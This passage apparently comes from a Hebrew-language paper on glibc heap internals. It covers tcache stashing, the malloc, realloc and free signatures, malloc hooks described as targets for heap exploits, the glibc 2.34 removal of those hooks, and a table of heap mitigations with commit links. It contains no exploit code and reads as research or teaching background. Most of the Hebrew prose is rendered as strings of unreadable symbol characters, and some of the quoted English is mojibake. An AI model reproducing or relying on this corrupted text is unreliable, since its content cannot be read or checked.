ˡ˥-˸˧ˮˣˣ˧˩ ˞˪ ˸˧˪ˠ˰ˬ ˪˷ free-chunks ˪ˡˣˠ˟ ˫˧˧ˣ˯ˬ .ˢ˯˧ˮ˩ˢ/ˢˬˣ˷˶ ˢˮˣ˷˞˶ˢ ˨˶˰ˬ˟ ˫˧ˮˣˬˢ ˸˟˵ˣ˰ 

˶˥˞ ˶˲˯ˬ s-free chunks ˫˧˶˷ˣ˵ˬˢ ˪˞ s-0x20 tcachebin ,ˢ˯˧ˮ˩ˢ ˢ˧ˮ˷ˢ ˢ˷ˣ˰ ˣ˸ˣ˞ ˶˟ˡ ˶ˣ˟˰ s-

0x30 tcachebin ˣ˩ˣ.' 

˸˥˸ ˧˞ˮ˸ ˸˶˧˶˟-˪ˡ˥ˬ ,˷˧ ˢ˪˟ˠˬ )ˢ˯˩ˬ (˪˰ ˸ˣˬ˩ s-free chunks ˷-tcachebin ˪ˣ˩˧ ˵˧ˤ˥ˢ˪ .˨˶˰ 

ˢˤ ˶ˣˬ˷ ˨ˣ˸˟ ˢˮ˟ˬˢ malloc_par ˸˥˸ ˢˡ˷ˢ )member (tcache_count .˶˷˞˩ ˢˮˣˬ ˪˷ tcachebin 

˰˧ˠˬ ˱˯˪ ˢˤ ,free chunks ˪˷ ˫˧ˬ˧˞˸ˬˢ ˣ˸ˣ˞˪ bin )ˣ˸ˣ˞˟ ˪ˡˣˠ (ˣ˪˟˵˧ ˯˥˧ ˣ˪˧˞˩ s-tcache ˣˮˮ˧˞ ˫˧˧˵. 

ˢˬˠˣˡ˪ :˫˞ s-0x20 tcachbin ˞˪ˬ )˵˧ˤ˥ˬ т free chunks (ˤ˞ s-chunk ˞˟ˢ ˪ˡˣˠ˟ 0x20 ˶˶˥ˣ˷˧˷ 

˶˷ˣ˵˧ ˨ˣ˸˪ s-0x20 fastbin .Malloc ˢ˷ˣ˰ ˷ˣˬ˧˷ ˫˧ˮˣˬ˟ ˮˢ"˪ ˧ˡ˩ ˰ˣ˟˵˪ ˫˞ˢ bin ˫˧˧ˣ˯ˬ ˞˪ˬ. 

˸ˣ˞˴˵ˢ ˢˬ-tcache ˪˷ thread ˸ˣ˪˟˵ˬ ˸ˣ˲˧ˡ˰ ˪˰ ˧ˮ˲ s-arena ˣ˪˷ ,ˢ˪ˣ˰˲ xʕ ˸˰˴ˣ˟ˬ ˨ˣ˸ˬ 

ˢ˧˴˵ˮˣ˲ˢ __libc_malloc() ˞˪ˣ ˸˰˴˟˸ˬ ˢ˯˧ˮ˩ ˨ˣ˸˪ _int_malloc() .Chunks ˫˧˶˶˥ˣ˷ˬ˷ ˫˪ˡˣˠˣ ˥ˣˣ˦˟ 

˪˷ s-tcache ˫˧˶˷ˣ˵ˬ ˪˞ ˨ˣ˸ s-tcache ˪˷ ˣ˸ˣ˞ thread ˞˪˞ ˫˞ tcachebin ˡ˰˧ˢ ˞˪ˬ ,ˢ˶˵ˬ˟ˣ 

ˢˤ˩˷ s-arena ˪˷ ˣ˸ˣ˞ thread ˸˶˷˧ ˸˞ ˢ˷˵˟ˢ . 

ˣˬ˧˷ ˟˪ ˸ˣ˯˧ˮ˩˷ ˟-tcache ˸ˣ˷ˬ˸˷ˬ ˫˧˰˧˟˴ˬ˟ ˪-user data ˞˪ˣ ˪-metadata ˪˷ s-chunk. 
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Tcache Dumping/Stashing 

˸ˣ˞˯˶ˠ˟ ˪˷ glibc ˸ˣ˪˲ˬˣ˵ˬ˷ ˫˰ ˢ˩˧ˬ˸ ˟-tcache ,chunks ˥ˣˣ˦˟ ˧˪ˡˠ s-tcache ˫˧˪˦ˣˬ ˪˞ s-

tcache ˶˷˞˩ thread ˪˟˵ˬ ˢ˞˴˵ˢ ˢˬ-arena ˣ˪˷ .˶˷˞˩ chunk ˢ˴˵ˣˬ ˨ˣ˸ˬ s-fastbins x˞ s-

smallbins ,malloc ˪˧˦ˬ ˸˞ ˪˩ s-free chunks ˣ˶˸ˣˮ˷ ˣ˸ˣ˞˟ bin ˪˞ ˨ˣ˸ s-tcachebin ˫˧˞˸ˬˢ ˫ˢ˪ 

ˡ˰ ˞ˣˢ˷ ˞˪ˬ )˭˞˩ˬ ˷ˣˬ˧˷ˢ ˢ˪˧ˬ˟ stashing ,ˢ˷ˣ˶˧˲˷ ˢ˞˟˥ˢ/ˢ˶˸˯ˢ ˧˲˪˩ ˳ˣ˥ (˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ 

˶ˣ˧˞˟ ˞˟ˢ:  

 

ϐ˶ˣ˧˞ мнΥ ˭ˣ˵˧˶ sπchunk ˫˧˶˸ˣˮˢ ˪˷ fastbin ˪˞ ˨ˣ˸ sπTcache ˶˥˞˪ ˢ˞˴˵ˢ ˣˮˬˬ Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ

˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 

 
˶˷˞˩ ˸˷˥˶˸ˬ ˢ˵˧˶˯ ˪˷ s-unsortedbin )ˢ˶˦ˬ˟ ˞ˣ˴ˬ˪ free chunk ˫˧˞˸ˬ ˢ˞˴˵ˢ˪ ,(malloc ˪˧˦ˬ 

˪˩ chunk ˞ˣˢ˷ ˞˴ˣˬ ˫˰ ˪ˡˣˠ ˫˧˞˸ˬ ˵ˣ˧ˡ˟ ˪ˡˣˠ˪ ˢ˷˵˟ˢ ˪˞ s-tcache ˫˧˞˸ˬˢ x˪ .˫˞ s-tcachebin 

ˡ˰ˣ˧ˬˢ ˞˪ˬ x-malloc ˞˴ˣˬ chunk ˫˧˞˸ˬ˷ ˵ˣ˧ˡ˟ ˪ˡˣˠ˟ ˨ˣ˸˟ s-unsortedbin ,ˤ˞ chunk ˢˤ ˢ˴˵ˣ˧ .

˫˞ ˢ˵˧˶˯ˢ ˮˢ"˪ ˸ˬ˧˧˸˯ˬ ˡ˥˞ˣ x˞ ˶˸ˣ˧ ˢˬ-chunks ˣ˪˦ˣˢ ˨ˣ˸˪ s-tcachebin ,ˤ˞ ˢ˴˵ˣ˧ chunk ˨ˣ˸ˬ 

ˣ˸ˣ˞ tcachebin. 
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˸ˣ˧˴˵ˮˣ˲ˢ ˪˷ Malloc ˸ˣ˧˞˶˥˞ˢ ˢ˞˴˵ˢ˪ ˶ˣ˶˥˷ˣ 

void* malloc(size_t bytes) 

˸˧˧˴˵ˮˣ˲ ˸˞˴˵ˢ ˭ˣ˶˩˧ˤˢ ˧ˬˮ˧ˡˢ ˪˷ glibc - ˸˪˟˵ˬ ˪ˡˣˠ ˢ˷˵˟ ˫˧˸˟˟ ˦ˮˬˣˠ˶˞˩ ˡ˧˥˧ ˢ˶˧ˤ˥ˬˣ ˰˧˟˴ˬ 

˶ˣˤ˞˪ ˞˪ ˪˥˸ˣ˞ˬ ˪˷ s-user data ˪˷ chunk ˪ˡˣˠ˟ ˫˧˞˸ˬ ˭ˣ˶˩ˤˬ s-heap .˪ˣ˟ˬ˧˯ s-malloc 

)imported symbols (ˣˮ˧ˢ alias )˫˷ ˱˯ˣˮ (-˪__libc_malloc() ,ˣˤˣ ˢˣˣˢˬ ˮˣ˲ '˸˲˦˰ˬ ˟˧˟˯ˬ ˪-

_int_malloc() ˢ˟˷ ˞˴ˬˮ ˟ˣ˶ ˡˣ˵ ˢ˞˴˵ˢˢ. 

void* realloc(void* oldmem, size_t bytes) 

˸˵˲˯ˬ ˵˧˲˯ˬ ˭ˣ˶˩˧ˤ ˧ˬˮ˧ˡ ˧ˡ˩ ˵˧ˤ˥ˢ˪ bytes ˫˧˸˟ ˪˷ ˰ˡ˧ˬ .Oldmem ˞ˣˢ ˰˧˟˴ˬ ˵˲ˣ˯ˬ˷ ˶ˣ˵ˬ˟ ˰"˧ 

˸˥˞ ˸ˣ˧˴˵ˮˣ˲ˬ ˢ˞˴˵ˢˢ .˨˪ˢˬ˟ ˢ˪ˣ˰˲ xʕ ˧ˣ˷˰ ˸ˣ˧ˢ˪ ˢ˴˵ˣˬ chunk ˷ˡ˥ ,ˢ˵˸˰ˢ ˪˷ ˰ˡ˧ˬˢ ˢˬ-

oldmem chunk ,˶ˣ˶˥˷ ˪˷ oldmem ˸˶ˤ˥ˢˣ chunk ˷ˡ˥ ˢ˴˵ˣˬ .realloc() ˸˷ˬ˸˷ˬ ˢˬ˩˟ 

˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞ ˧ˡ˩ ˞ˡˣˣ˪ ˢˤ˷ ˢ˷˰ˮ ˸ˣ˪˧˰˧˟ ,˪˷ˬ˪ ˰"˧ ˠˣˤ˧ˬ ˢˬ˧ˡ˵ ˫˰ free chunk ˧ˡ˩ ˰ˮˬ˧ˢ˪ ˸˪ˣ˰˲ˬ 

ˢ˵˸˰ˢˢ .˶˷˞˩ bytes == 0 ˣˮ˞ ˫˧˪˟˵ˬ ˭˧˲˧˵˰˟ ˸˪ˣ˰˲ free(). ! 

Void free (void* mem) 

˸˧˧˴˵ˮˣ˲ ˶ˣˤ˥ˬ ˭ˣ˶˩˧ˤˢ ˧ˬˮ˧ˡˢ ˪˷ glibc - ˸˪˟˵ˬ ˥˦˷˪ ˭ˣ˶˩˧ˤ ˶ˣ˵ˬ˟˷ ˵˲ˣ˯ˬ ˰"˧ ˸˥˞ ˸ˣ˧˴˵ˮˣ˲ˬ 

ˢ˴˞˵ˢˢ ˪˷ malloc ˸˶ˤ˥ˬˬˣ ˣ˸ˣ˞ .˪ˣ˟ˬ˧˯ˢ free ˞ˣˢ alias ˪-__libc_free() ,˶˷˞ ˢ˶ˣ˸˟ ˢˣˣˢˬ 

˸˲˦˰ˬ ˟˧˟˯ˬ ˪-_int_free() - ˭˩˧ˢ ˞˴ˬˮ˷ ˸˧˟˶ˬ ˡˣ˵ˢ ˧˞˶˥˞ˢ ˪˰ ˶ˣˤ˥ˬ ˭ˣ˶˩˧ˤˢ. 

Malloc Hooks 

glibc ˸˵˲˯ˬ hooks )˧˰˴ˬ˞ ˸˟˥˶ˢ˪ ˸ˣˠˢˮ˸ˢˢ ˪˷ ˸˧ˮ˩ˣ˸ ˭ˬˤ˟ ˢ˴˧˶ ,˶ˬˣ˪˩ ˧˰˴ˬ˞ ˡ˰ˣˮ˷ ˸˶˷˪ ˸˞ 

˥˸˲ˬˢ ˨˞ ˣˮ˥ˮ˞ ˷ˬ˸˷ˮ x˟ ˪"ˣˮ˧˩˶˴ ˫˧˧˷˧˞ˢ ("˶ˣ˟˰ ˵˪˥ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˬ ˢ˟˧˪ˢ ˪˷ malloc .˫˧˷ˣˬ˧˷ 

˫˧˧˯ˣ˲˧˦ ˟-hooks ˣ˪˞ ˫˧˪˪ˣ˩ ˶ˣ˦˧ˮ ˸ˣ˵˧˦˯˧˦˦˯ ˭ˣ˶˩˧ˤ ˧ˬ˞ˮ˧ˡ x˞ ˷ˣˬ˧ˬ ˪˷ ˢ˴˵ˬ ˭ˣ˶˩˧ˤ ˢˮˣ˷ ˧˧˶ˬˠ˪ .

˟˵˰ ˨˩ ˫ˢ˷ ˫˧˶˞˷ˮ ˭˸˧ˮ ˢ˟˧˸˩˪ ˨˪ˢˬ˟ ˶ˣˤ˥ˬ ˧˧˥ ˸˧ˮ˩ˣ˸ˢ ,˫ˢ ˫˧ˣˣˢˬ ˢ˶˦ˬ ˸˧˷˰ˬ )viable (˶ˣ˟˰ 

heap exploits ˧˯ˮˬˢ ˫ˠ˧˷ˢ˪ ˸˪ˣ˩˧ ˸˴˶ˢ ˡˣ˵ .glibc ˸˵˲˯ˬ ˸˞ ˫˧˵ˣˢˢ ˫˧˞˟ˢ ˶˷˵ˢ˟ ˪˷ malloc: 

¶ __after_morecore_hook  

¶ __free_hook __malloc_hook  

¶ __malloc_initialize_hook  

¶ __memalign_hook  

¶ __realloc_hook  

˵˪˥ ˫˧˵ˣˢˬ ˣ˪˞ ˫˧˯˪˩ˣ˞ˬ ˰"˧ ˧˩˶˰ ˪ˣ˥˸˞ ˫˧˯˲ˣ˞ˬˢ )˪-NULL (˶˥˞˪ ˢ˞˧˶˵ˢ ˢˮˣ˷˞˶ˢ ˢ˧˴˵ˮˣ˲˪ . 
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ˢˬˠˣˡ˪ :__malloc_hook ˯˪˩ˣ˞ˬ ˰"˧ ˸˟ˣ˸˩ˢ ˪˷ ˢ˧˴˵ˮˣ˲ˢ mallok_hook_ini() ˨˪ˢˬ˟ ˪ˣ˥˸˞ˢ ˪˷ 

glibc ˶˷˞ ˸˯˲˞ˬ ˸˞ __malloc_hook ˸˞˶ˣ˵ˣ ˪-ptmalloc_init(): 

 

˶˷˞˩ hook ˯˲ˣ˞ˬ ,˸ˣ˞˧˶˵ ˸˧˧˴˵ˮˣ˲˪ ˟˞ˢ ˣ˪˷ ˸ˣ˩˪ˣˢ ˸ˣ˶˧˷˧ ˪˞ ˢ˸ˣ˞ ˢ˧˴˵ˮˣ˲ )˟˞ˢ .(˶˷˞˩ hook 

˯˪˩ˣ˞ˬ ,˸˴˧˶ ˸˧ˮ˩ˣ˸ˢ ˢ˩˧˷ˬˬ )execution redirection (˸˟ˣ˸˩ˢˬ ˸˰˟˴ˣˬˢ ˰"˧ s-Hook ˶˷˞˩ 

˸˧˧˴˵ˮˣ˲ ˟˞ˢ ˸˞˶˵ˮ )˶˧˩ˤˬ ˸˴˵ PLT/GOT hooking( .ˢˬˠˣˡ˪ ,˸ˣ˶ˣ˷ˢ ˸ˣˮˣ˷˞˶ˢ ˪˷ __libc_malloc() 

˸ˣ˞˶ˮ ˨˩: 

 

ϐˢˮ˸˷ˬˢ hook ˞ˣˢ ˰˧˟˴ˬ ˢ˧˴˵ˮˣ˲˪ώ 

˪˥ˢ ˢ˯˶ˠˬ 34.2 ˪˷ glibc )˸˧ˮ˩ˡ˰ˢ ˶˸ˣ˧˟ ˭ˣ˩ˮ ˫ˣ˯˶˲˪ ˶ˬ˞ˬˢ (ˣ˶˯ˣˢ ˸˧˟˶ˬ s-hooks ˮˢ"˪ ˢˬ-PIA .

˭˧˟ ˶˞˷ˢ )˪˟˞ ˞˪ ˵˶ (˪˪ˠ˟ ˸ˣ˟˧˯ ˢ˥˦˟˞: 

άThe deprecated memory allocation hooks __malloc_hook, __realloc_hook, __memalign_hook 

and __free_hook ŀǊŜ ƴƻǿ ǊŜƳƻǾŜŘ ŦǊƻƳ ǘƘŜ !tLΦ όΧύ¢ƘŜǎŜ Ƙƻƻƪǎ ƴƻ ƭƻƴƎŜǊ ƘŀǾŜ ŀƴȅ ŜŦŦŜŎǘ ƻƴ 

ƎƭƛōŎ ŦǳƴŎǘƛƻƴŀƭƛǘȅΦ όΧύ 

The __morecore and __after_morecore_hook malloc hooks and the default implementation 

__default_morecore have been removed from the API. Existing applications will continue to link 

ŀƎŀƛƴǎǘ ǘƘŜǎŜ ǎȅƳōƻƭǎ ōǳǘ ǘƘŜ ƛƴǘŜǊŦŀŎŜǎ ƴƻ ƭƻƴƎŜǊ ƘŀǾŜ ŀƴȅ ŜŦŦŜŎǘ ƻƴ ƳŀƭƭƻŎΦέ 

  

https://sourceware.org/pipermail/libc-alpha/2021-August/129718.html
https://patchwork.ozlabs.org/project/glibc/patch/ddf39fca-aa0a-9b14-ee78-a1bfa1225623@redhat.com/
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Mitigations )˧ˮˣˮˠˮˬ ˢˮˠˢ ˡˣ˵˟ ˪˷ glibc malloc( 

˸˧˷˞˶ ,˶˧ˢ˟ˮ ˧˩ ˶˷˞˩ ˢ˴˲ˢ ˪˷ ˯˵ˣˮ˧˪ ,˫˧˴˟˵ˢ ˫˧˶˞ˮ˧˟ˢ ˪˷ glibc ˢ˪˷ ˫˧˟ˣ˷˥ .˭˩˸˧˧ ˢ˞˶ˮˣ ˧˸˷ 

˸ˣ˞˯˶ˠ ˪˷ ˢ˸ˣ˞ ˢ˴˲ˢˢ ˫˰ ˣ˸ˣ˞ ˶˲˯ˬ ˢ˯˶ˠ ˪˷ glibc ˨˞ ˫˰ ˸ˣˮˠˢ )mitigations (˸ˣˮˣ˷ .ˢ˟˧˯ˢ 

˨˩˪ ˢ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˪˪ˠ˟ ˷ˣˬ˧˷ ˟-release branch ˡˣˠ˧ˮ˟ ˪-master branch ,˪ˣ˲ˬ˧˵ˣ ˪˷ ˫˧˴˟˵ˢ 

˫˧˶˞ˮ˧˟ˢ ˪˷ glibc ˫ˢ˪˷ ˫˰˲ ˸˥˞ ˧ˮ˲˪ ˰˴ˣ˟˷ backporting )patching ˪˷ ˢ˯˶ˠ ˢˮ˷˧ ˫˰ ˸ˣˮˣ˩˸ 

ˢ˯˶ˠˬ ˸˧ˮ˩ˡ˰ ˶˸ˣ˧ (˶˥ˣ˞ˬˣ ˶˸ˣ˧ ˶˥˞˪ ˰˴ˣ˟˷ backporting .˸˴˲ˢ Fedora 27 ˞˧ˢ ˢˬˠˣˡ ˸ˮ˧˧ˣ˴ˬ 

˨˩˪ .˭˩˪ ,˭˩˸˧˧ ˣ˪˵˸˧˸˷ ˢ˯˶ˠ˟ ˪˷ libc ˫˰ mitigations ˣˠ˴ˣˢ˷ ˢˮˣ˷˞˶˪ ˢ˯˶ˠ˟ ˸˶˲˯ˣˬˬˢ ˢˣ˟ˠ 

˶˸ˣ˧. 

ˢ˶˧˵˯ ˸˧˶ˣ˦˯˧ˢ ˸˧˵˪˥ ˪˷ ˸ˣˮˠˢ ˡˣ˵˟ ˧ˮ˲ˬ ˸˧˧˴˦ˣ˪˲˯˵˞ heap ˣ˯ˮ˩ˣˢ˷ ˪-glibc ˨˶ˣ˞˪ ˫˧ˮ˷ˢ: 

Commit date 
Published in 
glibc version 

Author Description Diff 

19/08/2003 2.3.3 Ulrich Drepper Ensure chunks don't wrap around memory on free(). diff 

21/08/2004 2.3.4 Ulrich Drepper Safe unlinking checks. diff 

09/09/2004 2.3.4 Ulrich Drepper 

Check that the chunk being freed is not the top chunk. 

Check the next chunk on free is not beyond the bounds of 

the heap. Check that the next chunk has its prev_inuse bit 

set before free. 

diff 

19/11/2004 2.3.4 Ulrich Drepper /ƘŜŎƪ ƴŜȄǘ ŎƘǳƴƪΩǎ ǎƛȊŜ ǎŀƴƛǘȅ ƻƴ ŦǊŜŜόύΦ diff 

20/11/2004 2.3.4 Ulrich Drepper 

Check chunk about to be returned from fastbin is the 

correct size. Check that the chunk about to be returned 

from the unsorted bin has a sane size. 

diff 

22/12/2004 2.3.4 Ulrich Drepper Ensure a chunk is aligned on free(). diff 

13/10/2005 2.4 Ulrich Drepper Check chunk is at least MINSIZE bytes on free(). diff 

30/04/2007 2.6 Ulrich Drepper Unsafe unlink checks for largebins. diff 

19/06/2009 2.11 Ulrich Drepper 

Check if bck->fd != victim when allocating from a smallbin. 

Check if fwd->bk != bck before adding a chunk to the 

unsorted bin whilst remaindering an allocation from a large 

bin. Check if fwd->bk != bck before adding a chunk to the 

unsorted bin whilst remaindering an allocation from a 

binmap search. Check if fwd->bk != bck when freeing a 

chunk directly into the unsorted bin. 

diff 

03/04/2010 2.12 Ulrich Drepper 

When freeing a chunk directly into a fastbin, check that the 

chunk at the top of the fastbin is the correct size for that 

bin. 

diff 

17/03/2017 2.26 DJ Delorie Size vs prev_size check in unlink macro. diff 

30/08/2017 2.27 Florian Weimer Don't backtrace on abort anymore. diff 

30/11/2017 2.27 Arjun Shankar Fix integer overflow when allocating from the tcache. diff 

https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=8cc9e454dc1ad640639eab44d6c224f42b4f6c9c;hp=55e2cbc0cd3db1e539a1f5089ca1d0f8684aa67c;hb=5dfe677810a3550bc2cff4d4046261c7572fbae0;hpb=9a3a9dd8d9e03875f865a22de5296274cc18c10e
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=206be503a824bc1742211162120d6c7a150e0d6c;hp=6e6c1053b1a82d8836772569230f97b0ea043fea;hb=3e030bd5f9fa57f79a509565b5de6a1c0360d953;hpb=51ea6fc094544328c08c367bc40a3b830b8fe7e8
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=824b6cc3f40a09b33e01fabc203ccc36642279b2;hp=4db40514d615b1a94cad65da6ab1753717a705cf;hb=6bf4302e764e422656f4f7230619fe9ab481ae04;hpb=45ab54ce2db0751bfe1b30c044e1e6fffd1e017e
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=d6810be7f606ce9dad203a9454d66bcba7e63891;hp=57074108f1d147c380dde6e8ca125affb607db30;hb=893e609847a2f372970e349e0cede2e8529bea71;hpb=3defcff3991314ad57e9b63c37f5e6de9fd5e879
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=b62ffb57c0d859e1f3f89319a9894f37c598d2f7;hp=d6810be7f606ce9dad203a9454d66bcba7e63891;hb=6cce65407e2fc5015c69bb38741d6942b3e412c3;hpb=893e609847a2f372970e349e0cede2e8529bea71
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=e3ccbde7b5b84affbf6ff2387a5151310235f0a3;hp=a369001520395a1f7fd7b7411bba6c98e04d2391;hb=a334319f6530564d22e775935d9c91663623a1b4;hpb=0ecb606cb6cf65de1d9fc8a919bceb4be476c602
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=4ea35254bb973eda1811db668ca03ddae589e685;hp=a8bc76739f8c860acf4c14fa3156611caf320647;hb=bf58906631af8fe0d57625988b1d003cc09ef01d;hpb=04ec80e410b4efb0576a2ffd0d2f29ed1fdac451
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=8ae941c59703f4da69ef439c9c000527ec0835c3;hp=6427608a79f10f8f74cf17b9befc6e5641644831;hb=7ecfbd386a340b52b6491f47fcf37f236cc5eaf1;hpb=e53f0f51a62061e0c654d4b2f82d4c71b4d71932
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=516d401991123581c6ac336ae14b44a6d6d5f61f;hp=0b9facefd4e326a46ac4d013094f05db8decc5d0;hb=f6887a0d9a55f5c80c567d9cb153c1c6582410f9;hpb=d0a2af710654a038903dd4a300030670bfbeaa2d
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=558e8bab0ab3808ec9f5b569ca62863ef4651b27;hp=784919e4bd9e38783b77b25a79a3a7395eb2e9fe;hb=90a3055e8bdd9308eceeadc0b37278f324ec6b5d;hpb=991eda1ec17665ea0da247f8eabc6993d020ed8e
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=994a23248e258501979138f3b07785045a60e69f;hp=e29105c37211076679a44594e2cdfb501553c606;hb=17f487b7afa7cd6c316040f3e6c86dc96b2eec30;hpb=b170d2e7ab998180abbd24fdd6c03ecb4293d000
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=d290fde9d121abeef37f344884b85bc45ca3a6cc;hp=e3ff778113febdd0533aeea70f1a35f62259bcfd;hb=ec2c1fcefb200c6cb7e09553f3c6af8815013d83;hpb=9ce673b69e82578044958f66d93dcaddb23f6e95
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=0c9e0748b4c10988f6fe99ac2e5b21b8b7b603c3;hp=79f0e9eac7483b3fba19849a44029b5e8ba3bd33;hb=34697694e8a93b325b18f25f7dcded55d6baeaf6;hpb=18305fba5575a09063652014cfc483b898d8bdcd
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12/01/2018 2.27 Istvan Kurucsai Fastbin size check in malloc_consolidate. diff 

14/04/2018 2.28 DJ Delorie 
Check if bck->fd != victim when removing a chunk from the 

unsorted bin during unsorted bin iteration. 
diff 

16/08/2018 2.29 Pochang Chen Check top chunk size field sanity in use_top. diff 

17/08/2018 2.29 Moritz Eckert 
Proper size vs prev_size check before unlink() in backward 

consolidation via free. Same check in malloc_consolidate(). 
diff 

17/08/2018 2.29 Istvan Kurucsai 

When iterating unsorted bin check: size sanity of next chunk 

on heap to removed chunk, next chunk on heap prev_size 

matches size of chunk being removed, check bck->fd != 

victim and victim->fd != unsorted_chunks (av) for chunk 

being removed, check prev_inuse is not set on next chunk 

on heap to chunk being removed. 

diff 
 

20/11/2018 2.29 DJ Delorie Tcache double-free check. diff 

26/11/2018 2.29 Florian Weimer Validate tc_idx before checking for tcache double-frees. diff 

14/03/2019 2.30 Adam Maris 
Check for largebin list corruption when sorting into a 

largebin. 
diff 

18/04/2019 2.30 
Adhemerval 

Zanella 
Request sizes cannot exceed PTRDIFF_MAX (0x7fffffffffffffff) diff 

]˶ˣ˵ˬ :HeapLAB - glibc Heap Exploitation Bible by Max Kamper[ 

https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=f5aafd2c0511cd5a57174e12c2192e3fea3e0b7b;hp=48106f9bd455620cbaf1a30bcfbd095cb16791cc;hb=249a5895f120b13290a372a49bb4b499e749806f;hpb=1a51e46e4a87e1cd9528ac5e5656011636e4086b
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=96149549758dd424f5c08bed3b7ed1259d5d5664;hp=e229181c5e252b1fa1e2bf800ab2ed03706c652e;hb=bdc3009b8ff0effdbbfb05eb6b10966753cbf9b8;hpb=f9555d73121bd12f6fd50545868e6a33096b8164
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=9431108626cdc0b5c1972ee00126228c8dd7166f;hp=e247c77b7d4de26e0f2fbec16e352889bac3781b;hb=30a17d8c95fbfb15c52d1115803b63aaa73a285c;hpb=34f86d61687457aa57d40cf3c230ca8404d40e45
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=7c8bf8413c54c367031ca274c9bca497a45897f8;hp=9431108626cdc0b5c1972ee00126228c8dd7166f;hb=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f;hpb=30a17d8c95fbfb15c52d1115803b63aaa73a285c
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=47795601c87513912a73b14576e30bff2f50de55;hp=7c8bf8413c54c367031ca274c9bca497a45897f8;hb=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c;hpb=6413fcde4fe0272eee469aaf41c8bb1d6e6a270f
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=47795601c87513912a73b14576e30bff2f50de55;hp=7c8bf8413c54c367031ca274c9bca497a45897f8;hb=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c;hpb=6413fcde4fe0272eee469aaf41c8bb1d6e6a270f
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=f730d7a2ee496d365bf3546298b9d19b8bddc0d0;hp=6d7a6a8cabb4edbf00881cb7503473a8ed4ec0b7;hb=bcdaad21d4635931d1bd3b54a7894276925d081d;hpb=5770c0ad1e0c784e817464ca2cf9436a58c9beb7
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=c9b2c6e320e5eaa3d91cde95aa61f289e407418e;hp=f730d7a2ee496d365bf3546298b9d19b8bddc0d0;hb=affec03b713c82c43a5b025dddc21bde3334f41e;hpb=8ae74eadb60eb36424e4605939cef5fc966724be
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=801ba1f499b566e677b763fc84f8ba86f4f7ccd0;hp=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=5b06f538c5aee0389ed034f60d90a8884d6d54de;hpb=a0a0dc83173ce11ff45105fd32e5d14356cdfb9c
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=0e3d4dd5163f5fa8fb07b71fb7e318e7b10f5cfd;hp=801ba1f499b566e677b763fc84f8ba86f4f7ccd0;hb=9bf8e29ca136094f73f69f725f15c51facc97206;hpb=52faba65f84ee5a8d82ff813bcfa0ee5f4d480cf
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˫˧˷˶˸ ˢˬ˧˶ˤ ˪˷ Malloc: 

˭˪ˢ˪ ˫˧˷˶˸ ˢˬ˧˶ˤ ˦˷ˣ˲ˬ ˪˷ ˫˸˧˶ˣˠ˪˞ˢ ˶˞˸ˬˢ ˸˞ ˧˪ˣ˪˯ˬ ˡˣ˵ˢ ˷-malloc() ˪ˣ˩˧ ˸˥˵˪ .˫˧˵ˣ˪˟ 

˰˟˴˟ ˟ˣˢ˴˟ ˫˧˧˦ˮˣˣ˪˶ ˵˶ ˸ˣ˞˯˶ˠ˪ ˪˷ glibc ˸ˣ˶ˡˣˢˬˢ ˫˰ ˢ˩˧ˬ˸ ˟-tcache ,˫˧˵ˣ˪˟ ˫˧˪ˣˠ˯ ˫˧˪˧˩ˬ 

ˢ˶ˡ˯ ˪˷ ˸ˣ˪ˣ˰˲ ˸ˣˠ˴ˣˬˢ ˫˧˷˶˸˟ ˢˬ˧˶ˤ ˭ˢ˪˷ˬ .˫˧˵ˣ˪˟ ˫˧˵ˣ˶˧ ˫˧ˮ˧˧˴ˬ ˢ˞˴˵ˢ ˸˥˪˴ˣˬ ˢ˶ˤ˥ˣ ˬ-

malloc() .˵ˮ 'ˢ˯˧ˮ˩ˢ ˞˧ˢ ˵ˣ˪˟ˢ ˭ˣ˧˪˰ˢ ˧˪˞ˬ˷ˢ . 

 
ϐ˶ˣ˧˞ моΥ ˫˧˷˶˸ ˢˬ˧˶ˤ ˪˷ malloc() Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 
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˫˧˷˶˸ ˢˬ˧˶ˤ ˪˷ Unsortedbin Scan: 

